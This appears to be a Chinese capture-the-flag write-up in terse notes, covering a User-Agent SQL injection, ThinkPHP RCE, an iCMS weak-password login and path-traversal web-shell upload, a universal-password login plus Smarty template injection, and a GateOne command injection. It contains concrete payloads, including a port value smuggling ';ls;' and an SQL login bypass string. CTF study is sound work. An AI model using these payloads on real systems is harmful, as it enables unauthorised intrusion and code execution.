SQL注入:
UA头报错注入。一把梭。这里不能用--+。服务端会用trim去掉空格。导致最后传入的还是--。
用-- a就行。
啥shop:
Thinkphp RCE一把梭
ICMS:
爆破弱口令
admin/admin123
跟着文章复现https://xz.aliyun.com/t/4030
其中PHP输入流。可以用BP导入
坑点:
das.wetolink.com:48885/admincp.php?app=files&do=IO&frame=iPHP&ext=zip&udir=&name=iCMS.APP.1-v1.1.1&watermark=false
udir。指的是附件目录的相对路径。
如果你附件设置那里目录设置了/
这里就直接空就行
默认是/view/
所以文中加../
然后name传一个符合格式的文件名。路径和dir对应。dir../。文件名也要../
然后就是安装引用。访问/app/shell.php
万能密码+SSTI
界面是这样的。
有Hint。login as admin
直接万能密码登陆
admin\
||1#
然后就是更新账号处。SSTI
输入的值。都会返回
PHP的模板注入。貌似就TWIG和Smart
这里是smart的SSTI
很多函数过滤了。直接用无参数那个。show_souce读flag
Gate One SSH
OPPO OGeek CTF 2019原题。
跟着赵总的WP复现下
首先就github下源码。在gateone/applications/terminal/plugins/ssh/ssh.py
中
这个get_host_fingerprint。传入一个settings。取其中的port值。带入字符串拼接然后执行
当访问WebSocket.terminal:ssh_get_host_fingerprint时。就会调用这个函数
全局搜到ssh.js
这里执行了
go.ws.send(JSON.stringify({'terminal:ssh_get_host_fingerprint': message}));
#JSON.stringify-------将json转换为字符串。
#message又对应
{'host': host, 'port': port}
所以。这里的json应该是
'{"terminal:ssh_get_host_fingerprint": {"host":"xxx","port":"1231;ls;"}}'
发送的是
go.ws.send('{"terminal:ssh_get_host_fingerprint": {"host":"xxx","port":"1231;ls;"}}')
继续看这个go是啥
最终exp:
GateOne.ws.send('{"terminal:ssh_get_host_fingerprint": {"host":"xxx","port":"1231;ls;"}}')
查看flag即可